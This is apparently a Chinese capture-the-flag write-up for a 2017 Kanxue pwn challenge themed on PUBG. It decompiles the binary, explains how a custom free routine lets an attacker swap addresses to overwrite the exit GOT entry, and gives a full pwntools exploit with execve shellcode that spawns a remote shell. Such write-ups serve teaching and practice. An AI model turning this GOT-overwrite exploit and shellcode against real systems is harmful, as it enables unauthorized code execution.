-
-
[原创]看雪TSRC_2017秋季赛第七题---------WriteUp
-
2017-11-7 00:39 3624
-
又是一道pwn题,需要利用程序的漏洞来getshell
然后读取存放在远程服务器上的flag文件
。
有了第四题的经验,这次就不会摸不到头脑不知从何下手了,依然是先看保护情况。
0x00 查看保护
使用checksec pwn
可以查看到以下信息。
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
只有栈不可执行NX
与栈溢出检查Canary
,PIE
没开,GOT表可修改
,信心大增。接下来看流程。
0x01 流程分析
直接IDA来看,感觉pwn类的题结构都是很清晰的(毕竟就做了这么两题),这题的内容很时髦,正是最近大热的吃鸡
, 程序流程为注册账号->创建角色名->登录->选择跳伞地点->开始拾荒
。
程序内存管理用的mmap
先分配好了空间,之后就是自己分配这些空间,而程序中可以输入的地方只有signup
和cheat
。
那么分别来看下这两部分,首先看signup
。
puts("welcome to Playerunknown's Battlegrounds"); puts("First,you need set your username and password"); v0 = (accountInfo *) alloc_mem(0x30); makeChunk((accountInfo *)&structRole, v0); puts("input your username"); getInputChar((__int64)structRole->username, 0x10LL); puts("input your password"); getInputChar((__int64)structRole->password, 0x10LL); puts("Second,you need create a character and give him a name"); v1 = (accountInfo *)alloc_mem(0x38); makeChunk((accountInfo *)((char *)structRole + 0x28), v1); structRole->pRole->Health = 100LL; structRole->pRole->weight = 100LL; structRole->pRole->stamina = 100LL; puts("input your character's name"); getInputChar((__int64)structRole->pRole->name, 0x10LL); puts("all is ok");
可以看出先分配了0x30的空间,然后生成一个chunk
,之后根据提示接受用户输入,完成账号创建。里面涉及了两个结构体,分别是accountInfo
和roleInfo
,其实后面的游戏里还有一个物品信息的结构体,不过解题没用上,就不写了。
accountInfo
与 roleInfo
结构体分析如下:
00000000 accountInfo struc ; (sizeof=0x30, align=0x8, mappedto_7) 00000000 chunk dq ? 00000008 username db 16 dup(?) 00000018 password db 16 dup(?) 00000028 pRole dq ? ; offset 00000030 accountInfo ends 00000030 00000000 ; --------------------------------------------------------------------------- 00000000 00000000 roleInfo struc ; (sizeof=0x38, mappedto_8) 00000000 name db 16 dup(?) 00000010 Health dq ? 00000018 stamina dq ? 00000020 weight dq ? 00000028 place dq ? 00000030 pItemInfo dq ? ; offset 00000038 roleInfo ends
有了这些信息,再来详细看下makeChunk
这个函数。
_QWORD *__fastcall makeChunk(accountInfo *a1, accountInfo *a2) { _QWORD *v2; // rax _QWORD *v3; // rax _QWORD *result; // rax if ( a2 ) { v2 = (_QWORD *)getChunkHead((__int64)a2); init_chunk(v2); } if ( a1->chunk ) { v3 = (_QWORD *)getChunkHead(a1->chunk); free_chunk(v3); } result = &a1->chunk; a1->chunk = (__int64)a2; return result; } unsigned __int64 __fastcall free_chunk(_QWORD *a1) { __int64 v1; // rax __int64 v3; // [rsp+10h] [rbp-20h] _QWORD *v4; // [rsp+18h] [rbp-18h] __int64 *v5; // [rsp+20h] [rbp-10h] unsigned __int64 v6; // [rsp+28h] [rbp-8h] v6 = __readfsqword(0x28u); v3 = 0LL; v4 = a1; --*a1; if ( !*v4 ) { while ( 1 ) { v5 = (__int64 *)checkIsAddr((__int64)a1, &v3); if ( v5 == 0LL ) break; ++v3; v1 = getChunkHead(*v5); exchangeAddr(v1); } exchangeAddr((__int64)v4); } return __readfsqword(0x28u) ^ v6; } __int64 __fastcall exchangeAddr(__int64 a1) { __int64 result; // rax if ( !newChunk ) newChunk = (__int64)alloc_mem(4); *(_QWORD *)(a1 + 0x10) = newChunk; *(_QWORD *)newChunk = a1; result = newChunk + 8; newChunk += 8LL; return result; }
getChunkHead
就是从数据区-0x10,拿到chunk头
init_chunk
就是将chunk头
中最开始的地方+1
这两个点没看出来利用的地方,但是在else
条件里的free_chunk
函数,就有点搞头了。
free_chunk
中,会先对chunk头
最开始的地方-1,当为0时,从数据区每次读8字节长度作为地址,并判断是否大于0x400000小于0x7FFFFFFFEFFF,如果满足这个条件,就把全局变量newChunk
的值写入这个地址,在将这个地址写入newChunk
中,最后newChunk
加8。
可能看到这里还没明白为什么这是个利用点,我们回到注册函数处再来看下。
structRole
这个全局指针是一个chunk
,它的数据区保存的有账号
和密码
,而这两个数据是我们可以输入的,所以当发生exchangeAddr
时,我们可以控制将哪里的地址与newChunk
交换,当然也包括got表
。
有了这个点,我们就可以修改got表
中导入函数指向的地址,这样当被修改的函数调用时,就会到我们可控的地址中执行,但是现在还差点东西,我们还没有可以写入数据或shellcode
的能力,改got表
指针也没有意义,不过不要着急,还有一个cheat
函数没有看。
下面来看cheat
的实现:
void cheat() { if ( cheatMem ) { puts("content:"); getInputChar(cheatMem + 0x10, 0x12CLL); } else { cheatMem = (__int64)alloc_mem(0x30); puts("name:"); getInputChar(cheatMem, 0x10LL); puts("content:"); getInputChar(cheatMem + 0x10, 0x20LL); } }
这里判断当全局变量cheatMem
不为空时,可以写入内容,而且长度为0x12C
,对比它的else
条件写入的长度,这里明显就是专门提供我们写入shellcode
的。只需要用前面的exchangeAddr
先给cheatMem
交换来一个地址,就可以写这个地址从+0x10开始长度0x12C的数据了。
现在我们可以修改got表
,也可以写入shellcode
,那么选择修改哪个函数呢? 由于在shellcode
布置好之前不能调用被修改的函数,找来找去好像只有exit
可以用,exit
在程序里可以被触发到的地方只有getPlace
,下面是getPlace
函数:
int __cdecl getPlace() { int result; // eax switch ( structRole->pRole->place ) { case 0LL: result = puts("Your in a random location"); break; case 1LL: result = puts("Your in the Sosnovka military base"); break; case 2LL: result = puts("Your in the Sosnovka military base"); break; case 3LL: result = puts("Your in the Georgopol"); break; case 4LL: result = puts("Your in the Novorepnoye"); break; case 5LL: result = puts("Your in the Mylta Power"); break; case 6LL: result = puts("Your in the Primorsk"); break; default: puts("location error"); exit(0); return result; } return result; }
这里通过获取structRole
中pRole
结构体的place
成员(place
是pRole
指针偏移0x28
处)来判断选择的地点,而这个指针是个全局的,就在cheatMem
旁边,在利用时可以通过cheatMem
来修改这pRole
指向的地址,让它指到一个偏移0x28
处且肯定不是0~6
的地方就能执行default
流程触发exit
。
0x02 总结分析结果
至此,利用的点与大致的方案就可以定下来了,总结一下:
- 首先,要通过
exchangeAddr
来给cheatMem
赋值,让它可以写内存数据。 - 然后继续通过
exchangeAddr
来修改got表
中exit
函数的地址,以便执行shellcode
。 - 由于需要通过
cheatMem
来写got表
里被修改了的地址内容,又因为newChunk
是每次+8的,而cheatMem
只能从+0x10处开始写数据,所以我们要多调用一次exchangeAddr
,使得被修改的got表
的函数可以排在cheatMem + 0x10
之后的位置。 - 为了使
exit
函数可以触发shellcode
,需要修改当前structRole
的pRole
指针,指向一个+0x28不为0~6
的地方。
0x03 完整利用代码
from pwn import * context.arch = 'amd64' #p = process('./pwn') p = remote('123.206.22.95', 8888) #context.log_level = 'debug' if __name__ == '__main__': #exchange cheatMem p.recvuntil('Signup') p.recvuntil('==============================') p.sendline('2') p.recvuntil('username') p.sendline(p64(0x6050f0)) p.recvuntil('password') p.sendline(p64(0x6050f0)) p.recvuntil('name') p.sendline('1') p.recvuntil('ok') #exchange exit p.sendline('2') p.recvuntil('username') p.sendline(p64(0x6050f0)) p.recvuntil('password') p.sendline(p64(0x605080) + p64(0x605080)) #p.recvuntil('name') #p.sendline('1') p.recvuntil('==============================') p.recvuntil('==============================') p.sendline('2') p.recvuntil('username') p.sendline('3') p.recvuntil('password') p.sendline('3') p.recvuntil('name') p.sendline('3') p.recvuntil('ok') #login p.sendline('1') p.recvuntil('username') p.sendline('3') p.recvuntil('password') p.sendline('3') p.recvuntil('exit') #select map p.sendline('3') p.recvuntil('Primorsk') p.sendline('3') p.recvuntil('exit') #write shellcode and modify place #http://shell-storm.org/shellcode/files/shellcode-806.php #\x31\xc0\x48\xbb #\xd1\x9d\x96\x91 #\xd0\x8c\x97\xff #\x48\xf7\xdb\x53 #\x54\x5f\x99\x52 #\x57\x54\x5e\xb0 #\x3b\x0f\x05 shellcode = p32(0xbb48c031) + p32(0x91969dd1) \ + p32(0xff978cd0) + p32(0x53dbf748) + p32(0x52995f54) \ + p32(0xb05e5457) + p32(0x00050f3b) + p32(0) \ + p64(12) + '\0' * 80 + p64(0x6050B0) p.sendline('5') p.recvuntil('content:') p.sendline(shellcode) p.interactive()
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课